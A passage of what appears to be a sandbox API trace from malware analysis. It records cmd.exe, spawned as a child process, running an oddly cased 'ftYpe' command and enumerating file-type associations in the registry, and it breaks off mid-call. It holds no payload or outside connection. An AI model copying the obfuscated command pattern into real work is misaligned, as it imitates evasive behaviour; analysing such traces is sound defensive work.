[0102.017] exit (_Code=0) Process: id = "5" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x53689000" os_pid = "0xae8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xae0" cmd_line = "C:\\Windows\\system32\\cmd.exe /S /D /c\" ftYpe \"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 997 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 998 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 999 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1000 start_va = 0x1f0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1001 start_va = 0x4a0b0000 end_va = 0x4a108fff entry_point = 0x4a0b0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 1002 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1003 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1004 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1005 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1006 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1007 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1008 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1009 start_va = 0x3b0000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 1010 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1011 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1012 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1013 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1014 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1015 start_va = 0xc0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1016 start_va = 0x1c0000 end_va = 0x1c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1017 start_va = 0x1d0000 end_va = 0x1d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1018 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1019 start_va = 0x2f0000 end_va = 0x2f0fff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 1020 start_va = 0x600000 end_va = 0x60ffff entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 1021 start_va = 0x610000 end_va = 0x797fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 1022 start_va = 0x7a0000 end_va = 0x920fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 1023 start_va = 0x930000 end_va = 0x1d2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000930000" filename = "" Region: id = 1024 start_va = 0x1d30000 end_va = 0x2072fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d30000" filename = "" Region: id = 1025 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1026 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1027 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1028 start_va = 0x7fef59a0000 end_va = 0x7fef59a7fff entry_point = 0x7fef59a0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 1029 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1030 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1031 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1032 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1033 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1034 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1047 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1048 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1049 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Thread: id = 86 os_tid = 0xaec [0099.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2ef810 | out: lpSystemTimeAsFileTime=0x2ef810*(dwLowDateTime=0xdc8a9700, dwHighDateTime=0x1d475ba)) [0099.669] GetCurrentProcessId () returned 0xae8 [0099.669] GetCurrentThreadId () returned 0xaec [0099.669] GetTickCount () returned 0x21959 [0099.669] QueryPerformanceCounter (in: lpPerformanceCount=0x2ef818 | out: lpPerformanceCount=0x2ef818*=1814214900000) returned 1 [0099.671] GetModuleHandleW (lpModuleName=0x0) returned 0x4a0b0000 [0099.671] __set_app_type (_Type=0x1) [0099.671] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a0d7810) returned 0x0 [0099.672] __getmainargs (in: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610, _DoWildCard=0, _StartInfo=0x4a0de0f4 | out: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610) returned 0 [0099.672] GetCurrentThreadId () returned 0xaec [0099.672] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xaec) returned 0x38 [0099.672] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0099.672] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40 [0099.672] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0099.778] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0099.778] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ef7a8 | out: phkResult=0x2ef7a8*=0x0) returned 0x2 [0099.778] VirtualQuery (in: lpAddress=0x2ef790, lpBuffer=0x2ef710, dwLength=0x30 | out: lpBuffer=0x2ef710*(BaseAddress=0x2ef000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0099.778] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x2ef710, dwLength=0x30 | out: lpBuffer=0x2ef710*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0099.778] VirtualQuery (in: lpAddress=0x1f1000, lpBuffer=0x2ef710, dwLength=0x30 | out: lpBuffer=0x2ef710*(BaseAddress=0x1f1000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0099.778] VirtualQuery (in: lpAddress=0x1f4000, lpBuffer=0x2ef710, dwLength=0x30 | out: lpBuffer=0x2ef710*(BaseAddress=0x1f4000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0099.778] VirtualQuery (in: lpAddress=0x2f0000, lpBuffer=0x2ef710, dwLength=0x30 | out: lpBuffer=0x2ef710*(BaseAddress=0x2f0000, AllocationBase=0x2f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0099.778] GetConsoleOutputCP () returned 0x1b5 [0099.779] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0099.779] SetConsoleCtrlHandler (HandlerRoutine=0x4a0d3184, Add=1) returned 1 [0099.779] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.779] SetConsoleMode (hConsoleHandle=0x5c, dwMode=0x0) returned 0 [0099.779] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.779] GetConsoleMode (in: hConsoleHandle=0x5c, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 0 [0099.779] _get_osfhandle (_FileHandle=0) returned 0x3 [0099.779] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 1 [0099.779] GetEnvironmentStringsW () returned 0x3c8c00* [0099.780] FreeEnvironmentStringsW (penv=0x3c8c00) returned 1 [0099.780] GetEnvironmentStringsW () returned 0x3c8c00* [0099.780] FreeEnvironmentStringsW (penv=0x3c8c00) returned 1 [0099.780] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ee668 | out: phkResult=0x2ee668*=0x40) returned 0x0 [0099.780] RegQueryValueExW (in: hKey=0x40, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ee660, lpData=0x2ee680, lpcbData=0x2ee664*=0x1000 | out: lpType=0x2ee660*=0x0, lpData=0x2ee680*=0x18, lpcbData=0x2ee664*=0x1000) returned 0x2 [0099.780] RegQueryValueExW (in: hKey=0x40, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ee660, lpData=0x2ee680, lpcbData=0x2ee664*=0x1000 | out: lpType=0x2ee660*=0x4, lpData=0x2ee680*=0x1, lpcbData=0x2ee664*=0x4) returned 0x0 [0099.780] RegQueryValueExW (in: hKey=0x40, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ee660, lpData=0x2ee680, lpcbData=0x2ee664*=0x1000 | out: lpType=0x2ee660*=0x0, lpData=0x2ee680*=0x1, lpcbData=0x2ee664*=0x1000) returned 0x2 [0099.780] RegQueryValueExW (in: hKey=0x40, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ee660, lpData=0x2ee680, lpcbData=0x2ee664*=0x1000 | out: lpType=0x2ee660*=0x4, lpData=0x2ee680*=0x0, lpcbData=0x2ee664*=0x4) returned 0x0 [0099.780] RegQueryValueExW (in: hKey=0x40, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ee660, lpData=0x2ee680, lpcbData=0x2ee664*=0x1000 | out: lpType=0x2ee660*=0x4, lpData=0x2ee680*=0x40, lpcbData=0x2ee664*=0x4) returned 0x0 [0099.780] RegQueryValueExW (in: hKey=0x40, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ee660, lpData=0x2ee680, lpcbData=0x2ee664*=0x1000 | out: lpType=0x2ee660*=0x4, lpData=0x2ee680*=0x40, lpcbData=0x2ee664*=0x4) returned 0x0 [0099.780] RegQueryValueExW (in: hKey=0x40, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ee660, lpData=0x2ee680, lpcbData=0x2ee664*=0x1000 | out: lpType=0x2ee660*=0x0, lpData=0x2ee680*=0x40, lpcbData=0x2ee664*=0x1000) returned 0x2 [0099.780] RegCloseKey (hKey=0x40) returned 0x0 [0099.780] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ee668 | out: phkResult=0x2ee668*=0x40) returned 0x0 [0099.780] RegQueryValueExW (in: hKey=0x40, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ee660, lpData=0x2ee680, lpcbData=0x2ee664*=0x1000 | out: lpType=0x2ee660*=0x0, lpData=0x2ee680*=0x40, lpcbData=0x2ee664*=0x1000) returned 0x2 [0099.780] RegQueryValueExW (in: hKey=0x40, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ee660, lpData=0x2ee680, lpcbData=0x2ee664*=0x1000 | out: lpType=0x2ee660*=0x4, lpData=0x2ee680*=0x1, lpcbData=0x2ee664*=0x4) returned 0x0 [0099.780] RegQueryValueExW (in: hKey=0x40, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ee660, lpData=0x2ee680, lpcbData=0x2ee664*=0x1000 | out: lpType=0x2ee660*=0x0, lpData=0x2ee680*=0x1, lpcbData=0x2ee664*=0x1000) returned 0x2 [0099.781] RegQueryValueExW (in: hKey=0x40, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ee660, lpData=0x2ee680, lpcbData=0x2ee664*=0x1000 | out: lpType=0x2ee660*=0x4, lpData=0x2ee680*=0x0, lpcbData=0x2ee664*=0x4) returned 0x0 [0099.781] RegQueryValueExW (in: hKey=0x40, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ee660, lpData=0x2ee680, lpcbData=0x2ee664*=0x1000 | out: lpType=0x2ee660*=0x4, lpData=0x2ee680*=0x9, lpcbData=0x2ee664*=0x4) returned 0x0 [0099.781] RegQueryValueExW (in: hKey=0x40, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ee660, lpData=0x2ee680, lpcbData=0x2ee664*=0x1000 | out: lpType=0x2ee660*=0x4, lpData=0x2ee680*=0x9, lpcbData=0x2ee664*=0x4) returned 0x0 [0099.781] RegQueryValueExW (in: hKey=0x40, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ee660, lpData=0x2ee680, lpcbData=0x2ee664*=0x1000 | out: lpType=0x2ee660*=0x0, lpData=0x2ee680*=0x9, lpcbData=0x2ee664*=0x1000) returned 0x2 [0099.781] RegCloseKey (hKey=0x40) returned 0x0 [0099.781] time (in: timer=0x0 | out: timer=0x0) returned 0x5be16bcc [0099.781] srand (_Seed=0x5be16bcc) [0099.781] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /S /D /c\" ftYpe \"" [0099.781] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /S /D /c\" ftYpe \"" [0099.781] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0099.781] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3cada0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0099.781] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0099.781] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0099.781] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0099.781] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0099.781] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.781] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0099.781] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0099.781] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0099.782] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0099.782] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0099.782] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0099.782] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0099.782] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0099.782] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2ef470 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0099.782] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x2ef470, lpFilePart=0x2ef450 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x2ef450*="Desktop") returned 0x19 [0099.782] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0099.782] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2ef180 | out: lpFindFileData=0x2ef180) returned 0x3c8c00 [0099.782] FindClose (in: hFindFile=0x3c8c00 | out: hFindFile=0x3c8c00) returned 1 [0099.782] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x2ef180 | out: lpFindFileData=0x2ef180) returned 0x3c8c00 [0099.782] FindClose (in: hFindFile=0x3c8c00 | out: hFindFile=0x3c8c00) returned 1 [0099.782] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x2ef180 | out: lpFindFileData=0x2ef180) returned 0x3c8c00 [0099.782] FindClose (in: hFindFile=0x3c8c00 | out: hFindFile=0x3c8c00) returned 1 [0099.783] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0099.783] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0099.783] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1 [0099.783] GetEnvironmentStringsW () returned 0x3c8c00* [0099.783] FreeEnvironmentStringsW (penv=0x3c8c00) returned 1 [0099.783] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0099.783] GetConsoleOutputCP () returned 0x1b5 [0099.784] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0099.784] GetUserDefaultLCID () returned 0x409 [0099.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a0e7b50, cchData=8 | out: lpLCData=":") returned 2 [0099.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2ef580, cchData=128 | out: lpLCData="0") returned 2 [0099.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2ef580, cchData=128 | out: lpLCData="0") returned 2 [0099.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2ef580, cchData=128 | out: lpLCData="1") returned 2 [0099.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a0fa740, cchData=8 | out: lpLCData="/") returned 2 [0099.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a0fa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0099.795] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a0fa460, cchData=32 | out: lpLCData="Tue") returned 4 [0099.795] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a0fa420, cchData=32 | out: lpLCData="Wed") returned 4 [0099.795] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a0fa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0099.795] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a0fa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0099.795] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a0fa360, cchData=32 | out: lpLCData="Sat") returned 4 [0099.795] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a0fa700, cchData=32 | out: lpLCData="Sun") returned 4 [0099.795] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a0e7b40, cchData=8 | out: lpLCData=".") returned 2 [0099.795] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a0fa4e0, cchData=8 | out: lpLCData=",") returned 2 [0099.795] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0099.796] GetConsoleTitleW (in: lpConsoleTitle=0x3c8c70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0099.796] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0099.796] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0 [0099.796] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290 [0099.796] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0 [0099.797] _wcsicmp (_String1="ftYpe", _String2=")") returned 61 [0099.797] _wcsicmp (_String1="FOR", _String2="ftYpe") returned -5 [0099.797] _wcsicmp (_String1="FOR/?", _String2="ftYpe") returned -5 [0099.798] _wcsicmp (_String1="IF", _String2="ftYpe") returned 3 [0099.798] _wcsicmp (_String1="IF/?", _String2="ftYpe") returned 3 [0099.798] _wcsicmp (_String1="REM", _String2="ftYpe") returned 12 [0099.798] _wcsicmp (_String1="REM/?", _String2="ftYpe") returned 12 [0099.798] GetConsoleTitleW (in: lpConsoleTitle=0x2ef490, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0099.799] _wcsicmp (_String1="ftYpe", _String2="DIR") returned 2 [0099.799] _wcsicmp (_String1="ftYpe", _String2="ERASE") returned 1 [0099.799] _wcsicmp (_String1="ftYpe", _String2="DEL") returned 2 [0099.799] _wcsicmp (_String1="ftYpe", _String2="TYPE") returned -14 [0099.799] _wcsicmp (_String1="ftYpe", _String2="COPY") returned 3 [0099.799] _wcsicmp (_String1="ftYpe", _String2="CD") returned 3 [0099.799] _wcsicmp (_String1="ftYpe", _String2="CHDIR") returned 3 [0099.799] _wcsicmp (_String1="ftYpe", _String2="RENAME") returned -12 [0099.799] _wcsicmp (_String1="ftYpe", _String2="REN") returned -12 [0099.799] _wcsicmp (_String1="ftYpe", _String2="ECHO") returned 1 [0099.799] _wcsicmp (_String1="ftYpe", _String2="SET") returned -13 [0099.799] _wcsicmp (_String1="ftYpe", _String2="PAUSE") returned -10 [0099.799] _wcsicmp (_String1="ftYpe", _String2="DATE") returned 2 [0099.799] _wcsicmp (_String1="ftYpe", _String2="TIME") returned -14 [0099.799] _wcsicmp (_String1="ftYpe", _String2="PROMPT") returned -10 [0099.799] _wcsicmp (_String1="ftYpe", _String2="MD") returned -7 [0099.799] _wcsicmp (_String1="ftYpe", _String2="MKDIR") returned -7 [0099.799] _wcsicmp (_String1="ftYpe", _String2="RD") returned -12 [0099.799] _wcsicmp (_String1="ftYpe", _String2="RMDIR") returned -12 [0099.799] _wcsicmp (_String1="ftYpe", _String2="PATH") returned -10 [0099.799] _wcsicmp (_String1="ftYpe", _String2="GOTO") returned -1 [0099.799] _wcsicmp (_String1="ftYpe", _String2="SHIFT") returned -13 [0099.800] _wcsicmp (_String1="ftYpe", _String2="CLS") returned 3 [0099.800] _wcsicmp (_String1="ftYpe", _String2="CALL") returned 3 [0099.800] _wcsicmp (_String1="ftYpe", _String2="VERIFY") returned -16 [0099.800] _wcsicmp (_String1="ftYpe", _String2="VER") returned -16 [0099.800] _wcsicmp (_String1="ftYpe", _String2="VOL") returned -16 [0099.800] _wcsicmp (_String1="ftYpe", _String2="EXIT") returned 1 [0099.800] _wcsicmp (_String1="ftYpe", _String2="SETLOCAL") returned -13 [0099.800] _wcsicmp (_String1="ftYpe", _String2="ENDLOCAL") returned 1 [0099.800] _wcsicmp (_String1="ftYpe", _String2="TITLE") returned -14 [0099.800] _wcsicmp (_String1="ftYpe", _String2="START") returned -13 [0099.800] _wcsicmp (_String1="ftYpe", _String2="DPATH") returned 2 [0099.800] _wcsicmp (_String1="ftYpe", _String2="KEYS") returned -5 [0099.800] _wcsicmp (_String1="ftYpe", _String2="MOVE") returned -7 [0099.800] _wcsicmp (_String1="ftYpe", _String2="PUSHD") returned -10 [0099.800] _wcsicmp (_String1="ftYpe", _String2="POPD") returned -10 [0099.800] _wcsicmp (_String1="ftYpe", _String2="ASSOC") returned 5 [0099.800] _wcsicmp (_String1="ftYpe", _String2="FTYPE") returned 0 [0099.801] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ef228 | out: phkResult=0x2ef228*=0x4c) returned 0x0 [0099.802] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff0e0000 [0099.807] GetProcAddress (hModule=0x7feff0e0000, lpProcName="RegEnumKeyW") returned 0x7feff0fbf20 [0099.807] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x0, lpName=0x2eef50, cchName=0x104 | out: lpName="*") returned 0x0 [0099.808] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="*\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0099.808] SetLastError (dwErrCode=0x2) [0099.808] RegCloseKey 